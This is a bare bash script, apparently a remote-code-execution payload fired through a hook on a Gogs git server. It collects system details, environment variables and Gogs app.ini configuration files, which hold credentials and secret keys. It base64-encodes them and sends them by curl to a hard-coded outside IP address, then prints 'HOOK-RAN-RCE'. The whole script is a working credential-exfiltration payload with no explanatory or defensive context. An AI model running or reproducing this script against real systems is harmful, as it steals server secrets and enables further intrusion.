- #!/bin/bash
- ( id; hostname; pwd; ls -la / | head -30; find / -maxdepth 4 -name app.ini 2>/dev/null; for f in /data/gogs/conf/app.ini /home/git/gogs/custom/conf/app.ini /app/gogs/custom/conf/app.ini; do [ -f $f ] && echo ===$f=== && head -60 $f; done; env ) > /tmp/gp.txt 2>&1
- D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d "\n")
- curl -sk -m 12 "http://38.54.85.161:8899/b?d=$D" >/dev/null 2>&1 &
- echo HOOK-RAN-RCE id=$(id -u) host=$(hostname)
|